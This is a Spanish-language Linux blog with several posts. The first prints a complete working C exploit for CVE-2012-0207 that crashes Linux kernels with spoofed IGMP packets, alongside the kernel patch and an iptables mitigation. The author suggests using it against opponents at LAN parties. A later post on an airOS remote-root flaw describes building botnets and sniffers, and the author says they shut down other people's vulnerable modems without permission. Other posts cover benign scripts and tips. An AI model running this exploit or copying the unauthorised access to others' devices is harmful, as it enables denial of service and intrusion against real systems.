19 ene 2012

0day Linux IGMP Lan crash CVE-2012-0207 + Patch

El dia de hoy se publicó en seclist un 0day que usa el IGMP para crashear una red en LAN.
El bug afecta a todos los kernel Linux 2.6.36 o superiores, dado que la falla o regresion, fue introducida en el 2.6.36.
Si bien es solo en LAN, como dijo uno de los chicos de seclist acerca de "ah bueno es solo en lan", cito textual:

"Depends. Your network security people ever read BCP38? :)"


Eso es básicamente, el spoof de red, es decir, hacer creer al host remoto que el paquete proviene de la misma LAN.
A continuación un video del PoC, y luego comentaré algo.









Reporte de commit en kernel.org:


http://www.kernel.org/pub/linux/kernel/v3.0/ChangeLog-3.2.1
commit 25c413ad0029ea86008234be28aee33456e53e5b
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Mon Jan 9 14:06:46 2012 -0800

    igmp: Avoid zero delay when receiving odd mixture of IGMP queries
 
    commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.
 
    Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
    behavior on v3 query during v2-compatibility mode') added yet another
    case for query parsing, which can result in max_delay = 0.  Substitute
    a value of 1, as in the usual v3 case.
 
    Reported-by: Simon McVittie <smcv@debian.org>
    References: http://bugs.debian.org/654876
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Signed-off-by: David S. Miller <davem@davemloft.net>

Parche, por si alguno quiere aplicarlo en caso de no tener updates y su kernel no es 3.x

From: Ben Hutchings <ben@decadent.org.uk>

commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.

Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
behavior on v3 query during v2-compatibility mode') added yet another
case for query parsing, which can result in max_delay = 0.  Substitute
a value of 1, as in the usual v3 case.

Reported-by: Simon McVittie <smcv@debian.org>
References: http://bugs.debian.org/654876
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>

---
 net/ipv4/igmp.c |    2 ++
 1 file changed, 2 insertions(+)
--- a/net/ipv4/igmp.c
+++ b/net/ipv4/igmp.c
@@ -875,6 +875,8 @@ static void igmp_heard_query(struct in_d
  * to be intended in a v3 query.
  */
  max_delay = IGMPV3_MRC(ih3->code)*(HZ/IGMP_TIMER_SCALE);
+ if (!max_delay)
+ max_delay = 1; /* can't mod w/ 0 */
  } else { /* v3 */
  if (!pskb_may_pull(skb, sizeof(struct igmpv3_query)))
  return;




Bueno, se puede ver en el video claramente como el sistema remoto o atacado crashea de forma inmediata.
Respecto a lo que me concierne, cabe comentar, que Fedora 15 y 16 ya fixearon sus kernel el dia 11 de Enero de 2012, detalle:

"Correction.The 3.1.9 kernel contains corresponding backport commit dd9f9823b61ce894163433380ffcfc28eaf6e9c5. The 3.2.1 kernel contains corresponding backport commit 25c413ad0029ea86008234be28aee33456e53e5b."All Fedora branches are already fixed."

Ahora bien, RHEL 6.1 aun no tiene patch, openSUSE tampoco, Ubuntu y muchos mas, asi que, si quieren divertirse en una LAN party, dejando sin red al oponente, es ideal, otros fines, son delictivos y este post no es para fomentar el hack ilegal, que quede bien claro.

El que tenga un sistema sin update de kernel, puede bajar el 3.2.1 o ultimo stable y compilarlo, o bien aplicar el parche a igmp.c o bien si es mas vago, usar una regla de iptables como esta:

iptables -A INPUT -i <interface> -p igmp -j DROP (generalmente eth0 o wlan0)

Codigo del exploit:



/*
** linux-undeadattack.c
** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)
** CVE-2012-0207
** credits to Ben Hutchings:
** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html
** written By Kingcope
** Year 2012
** Ripped & modified code written by Firestorm
** Tested against * OpenSuSE 11.4 system
**  * Recent Ubuntu Distro
**
** Example:
** ./undeadattack 192.168.2.16 192.168.2.3
** The Linux Kernel at the remote side will Panic
** when sent over the network :>
** ENJOY!
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>


struct iphdr
{
  unsigned char ihl:4, version:4, tos;
  unsigned short tot_len, id, frag_off;
  unsigned char ttl, protocol;
  unsigned short check;
  unsigned int saddr, daddr;
  unsigned int options1;
  unsigned int options2;
};


struct igmp_query {
        unsigned char type;
        unsigned char maxresponse;
        unsigned short csum;
        unsigned int mcast;
        char padding[40];
};


unsigned short in_chksum(unsigned short *, int);
long resolve(char *);


long resolve(char *host)
{
  struct hostent *hst;
  long addr;


  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);


  memcpy(&addr, hst->h_addr, hst->h_length);


  return(addr);
}


int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  struct iphdr *ip;
  struct igmp_query *igmp;
  long daddr, saddr;
  int s, i=0, c, len, one=1;
  char buf[1500];


  if (argc < 3)
  {
    printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n"
  "credits to Ben Hutchings\nwritten by Kingcope\n"
  "Ripped & modified code written by Firestorm\n");
    printf("Usage: %s <src> <dst>\n", *argv);
    return(1);
  }


  daddr = resolve(argv[2]);
  saddr = resolve(argv[1]);

  memset(buf, 0, 1500);
  ip = (struct iphdr *)&buf;
  igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)];

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  ip->ihl = 7;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = htons(sizeof(struct iphdr)+8);
  ip->id = htons(18277);
  ip->frag_off=0;
  ip->ttl = 1;
  ip->protocol = IPPROTO_IGMP;
  ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
  ip->saddr = saddr;
  ip->daddr = daddr;
  ip->options1 = 0;
  ip->options2 = 0;
  igmp->type = 0x11;
  igmp->maxresponse = 0xff;
  igmp->mcast=inet_addr("224.0.0.1");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 8);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  close(s);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  ip->id = htons(18278);
  ip->tot_len = sizeof(struct iphdr)+12;
  igmp->type = 0x11;
  igmp->maxresponse = 0;
  igmp->mcast=inet_addr("0.0.0.0");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 12);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}


unsigned short in_chksum(unsigned short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }


   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }


   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

Disclaimer:

El codigo y patch es para un PoC, con fines educativos, en un ambiente controlado, cualquier uso para activivades no legales, no se responsabiliza este blog.

16 ene 2012

Script para ver el uso de ram por proceso

Es un simple script para ver el uso de ram de cada proceso desde terminal, pueden meterlo en un script en /usr/local/bin y tenerlo como comando no?, como ser, ver_mem. Solo copien y peguen en un terminal y vean su magia.
Aquí el script:

ps aux | awk '{print $6" "$11,$12,$13,$14}' | egrep -v "0.*\[.*\]" | awk '{print $1/1024" Mb --> "$2,$3,$4,$5}' | sort -g

Yum, el package manager de Fedora, RHEL y derivados | Sorpresa



Algunos saben y otros no, en mi desktop uso Fedora KDE spin como distro principal, y en mi notebook SL6.1 (scientific linux 6.1), otro clon de RHEL, como lo es CentOS, solo que me decanto por SL por temas personales que no van a este post.

Más adelante me explayaré mas sobre YUM y sus bondades frente a otros package manager, pero hoy se me ocurrio hacer esta entrada solo para mostrar algo que poco se ve en muchas distro.

Transmission, el conocido cliente de torrent GTK o CLI, no viene en los repos de RHEL ni de casualidad, como queria usarlo hace unos meses, lo instalé usando rpm -ivh con los rpm y dependencias de FC13, dado que RHEL6.x es derivado de Fedora 12 + Fedora 13.

Asi que a mano los instale, sin usar yum, solo rpm.

Para mi sorpresa, el equipo de EPEL, metio en sus repos a Transmission*, y para contento mio, y algo que no sabia, YUM fue capaz de leer la DB de rpm, ver el package transmission, darse cuenta que habia un update en EPEL (el mismo paquete pero con version mas reciente), y actualizarlo.

Asi que, una bondad mas de YUM, tan criticado por estar escrito en Python, es que si instalan algo usando rpm que no este en su distro, pero luego es introducido en algun repo, YUM avisará de la version mas actual y ofrecerá hacer el update. Interesante no?:




Updating:

transmission-cli i686 2.13-1.el6 epel 193 k

transmission-common i686 2.13-1.el6 epel 526 k

transmission-gtk i686 2.13-1.el6 epel 639 k

-----

Updating : transmission-common-2.13-1.el6.i686 1/6
Updating : transmission-gtk-2.13-1.el6.i686 2/6
Updating : transmission-cli-2.13-1.el6.i686 3/6
Cleanup : transmission-cli-1.93-1.fc13.i686 4/6
Cleanup : transmission-gtk-1.93-1.fc13.i686 5/6
Cleanup : transmission-common-1.93-1.fc13.i686 6/6

Nota: Notese el fc13.i686 lo que data que si habia instalado transmission usando koji de fedora con sus rpm

Ahora abro transmission y veo...

Acerca de:

Transmission 2.13 (11501)

Eso es todo por hoy, haré una proxima entrada comentando pros y contras de YUM, asi como su uso, plugins y la diferencia con RPM o up2date.

11 ene 2012

GPG ArchLinux - Pacman 4 (?)

Perdón a los arch lovers, pero no puedo evitar orinarme de la risa al ver esto.
Haciendo nada, en la web, en realidad, buscando versiones de paquetes de Arch en sus repos, me di con pacman 3.5 outdated, fuera de fecha, asi que me sugeria el 4 (aclaro que NO uso arch, solo miraba sus repos), cuando lo veo, en sus dependencias dice gpgme, dije, wow, toda una noticia, ya incluyeron GPG en los paquetes, o sea, firmados, cosa que hace como 4 años se le critica.
Cuando vi el G+ de Ionut Biru no pude evitar reirme sin parar, dado que el anuncio lo hizo el dia 14/10/2011 y siendo 11/01/2012 aun esta en testing.
Para colmo una persona le comenta, que seria bueno una stable branch, a lo que el algo ofuscado responde que si insinua que Arch no es estable..... no!!! sino que esta en testing hace 3 meses, demoraron 4 años y si, ademas agrego yo, no es estable como distro que ellos critican, como Fedora.
Dejo imagenes a continuacion, puteadas insultos, banes de los arch lovers, por mail, en comment, o bien por IRC en Freenode, mi nick ya lo saben.
Saludos a falconindy (irc.freenode.net) que me baneo de #archlinux (mejor asi no leo mas cosas decadentes) porque le pasaron el dato de mi blog, que se meta el ban por el culo, que le va a sentar bien, a ver si hace algo decente.


Noten claramente el /testing/ de pacman 4


31 dic 2011

Buscar archivos en Megaupload, mediafire y muchos mas.

Existe un buscador, para encontrar ESO que andás buscando y no encontrás, sin necesidad de usar taringa o portales de intercambio o linksharing, esto se llama:

http://www.uvrx.com/es/search-all.html

Puede buscar en la web, o en all (todos los host de archivos), la verdad, es muy muy util, les dejo un pantallazo para que se den una idea.


Bueno, espero les haya gustado, saludos.

30 dic 2011

Descubiendo las IP de un host y analizando la latencia - Bash Script

Debido a que a veces yo hacia todo de forma manual, para ver las IP de un mismo host y luego usar la mas rapida, como ser irc's, me di cuenta que (obviamente) era mucho mas practico hacer un script, asi que, aca esta el source, solo lo colocan en /usr/local/bin/ y le dan permisos con chmod +x o bien lo corren en su home ./pingtest previamente tambien dandole permisos con chmod +x pingtest (como root obviamente)

-------------------------------------------------------



#!/bin/sh
#Version 1.0
#GNU/GPL v3 or later
#Autor SynFlag:irc.freenode.net
unset host1
unset opcion1
clear
echo "Bienvenido al analizador de IP y tiempos de ICMP ver 1.0, solo analiza IPv4"
echo Ingrese el nombre de host para enviar sus IP a ips_nombredelhost.txt
read host1
nslookup $host1|grep Address: |cut --characters=10-24|grep -v "#" > ips_$host1.txt 2>/dev/null
echo "Desea ver las IP asociadas antes de hacer el ping test o prefiere seguir? s/N:"
read opcion1 2>/dev/null
if [ "$opcion1" = "s" ];then
        echo "Listado de IP:"
cat ips_$host1.txt|more
echo "Presione enter para continuar"
read
clear
while read linea
do
    ping -n -c1 $linea
done < ips_$host1.txt

else


echo "Ahora va a demorar dependiente de su conexión y/o la del host remoto el test, podrá ver la salida con los tiempos de ping y la IP"


while read linea
do
    ping -n -c1 $linea
done < ips_$host1.txt
fi
echo "Eso es todo, su listado de IP no será borrado, fue guardado con el nombre ips_$host1.txt"
unset host1
unset opcion1
exit 0

-----------------------------------------------------

Saludos, espero que les sirva y haya gustado.

Evitar que Chrome guarde cache | Prevent that Chrome save local cache

Google Chrome o Chromium, da igual a este caso, no poseen la conocida pestaña de privacidad de Firefox, donde se puede especificar que el tamaño de cache local sea de 0mb, o bien que al cerrar el navegador limpie toda la cache, sino que se debe ir a preferencias, historial, borrar datos desde el origen de los tiempos.
Cuando estamos diseñando o editando un sitio web, esto resulta engorroso a la hora de cambiar imagenes por FTP o HTTP o ssh, y tener que realizar ese metodo para que refresque la imagen nueva, a veces no lo hace, y me ha pasado un par de veces, imagino que a ustedes lectores tambien, de que modifican una imagen y no se refresca en todos los sitios al momento de cambiarla en su origen de URL.
Hay un metodo poco ortodoxo pero efectivo para solucionar esto, es decir, Chrome guardara el historial de sitios visitados, pero no la cache de imagenes, no al menos al cerrar el navegador, si dentro de la sesion obviamente.

Para hacer esto, hacemos lo siguiente.

1.- Nos loguemos como root, en ubuntu "sudo su" en terminal, en el resto de las distro su -
2.- cd /home/usuario/.cache/ (donde usuario es su usuario, pepe, juan etc)
3.- Una vez alli, hacemos esto:

cd google-chrome o google-chromium
cd Default
chattr -R +i
exit

Esto es todo, lo que hace chattr, con el parametro -R, es ser recursivo dentro de los directorios, y +i "inalterable", de esta forma, Chrome no podra guardar nada en su cache, y esto no genera errores en su funcionamiento ni lo afecta en nada.
Para volver todo como antes, repitan los mismos pasos pero con el parametro -R -i
Antes de hacer esto, no olviden vaciar todo desde el menu de Chrome, asi no quedan datos previamente guardados inalterables por mas que los querramos borrar.
En el caso de Windows, es el mismo procedimiento, solo que van a la carpeta de cache de Windows de Chrome, que es:



C:\ Documents and Settings \ "USUARIO" \ Configuracion Local \ Datos de Programa \ Google \ Chrome \ User Data \ Default \ Cache




ó




C:\ Documents and Settings\ "USUARIO" \ Local Settings \ Application Data \ Google \ Chrome \ User Data \ Default \ Cache




Haciendo click derecho sobre Default, cambian en permisos avanzados de carpeta, y ponen, no permitir cambios, de escritura ni lectura.

Eso es todo, espero les sirva como a mi.
Saludos.

PD: Al equipo de chrome, deberian incorporar esa caracteristica de Firefox, uso Chrome por temas tecnicos de mi equipo, pero no discuto la flexibilidad y configurabilidad de Firefox frente a Chrome.

28 dic 2011

airOS Full Disclosure - remote root 0day

Hace algunos dias, pude ver en seclist.org, un comentario sobre una falla en airOS, el OS de algunos devices DSL wireless, aprovechando una falla de lighttpd, se podia acceder a una interfaz gui, la cual deja ejecutar ordenes, subir y bajar archivos, ademas de aplicar chmod.
Paso algunas imagenes y a continuacion explico algo mas:



Bueno, ahora veamos un poco esto. El OS corre linux mips, con uclibc, y las cosas basicas.
El riesgo de esto, no es solo que puedan de forma remota reiniciar o apagar el modem, ademas de hacer un rf -rf /, sino que se puede subir un bot o shell usando netcat o ssh, para entre todos, conformar una botnet, meterlos en un irc, y dar ordenes de hacer DDoS, ademas de por ejemplo, plantar un sniffer de red y robar datos salientes de los clientes / usuarios / empresas que usan este modem.
La cantidad de cosas que se puede hacer es dependiendo de que:

Contamos con un kernel linux mips
uclibc
sh shell
root
sshd

El tema de esto, es que el mismo disclosure en seclist, se sugiere eso, programar un bot en C o ASM quiza, para subirlo y tener una botnet, y observe que algunas personas estaban usando estos modem con fines propios mas alla del PoC, asi me decidi a hacer esta entrada de blog y de paso ir apagando los modem para alertar de alguna forma a la gente que los este usando.
Esta falla se soluciona updateando el firmware a la version 5.3.5 terminada hace unos dias por ubiquity.


Reflexion:

A veces la seguridad no depende del OS que usemos, tampoco de las cosas que hagamos, el navegador, sino de dispositivos fisicos, como es este caso, donde uno se ve "atado" a su ISP, y nadie envia un mail desde el ISP avisando que tu modem puede estar formando parte de una botnet, cuantos devices mas habrá que tienen vulnerabilidades y aun no se sabe o no se mostro?, muchos.
Por mi parte, recomiendo que cada tanto actualicen el firmware de sus router, del modem si se puede y que chequeen todo lo posible desde fuera de su red, teniendo su numero de IP.

La fuente original del problema, se encuentra en esta URL:
http://seclists.org/fulldisclosure/2011/Dec/419

Saludos a todos, espero que tomen recaudos los que poseen estos aparatitos, proximamente version en ingles.

21 dic 2011

Villancico Linuxero


Aquí les dejo un villancico para todos los linuxeros y porque no para los mac y win users también, se van a dirvertir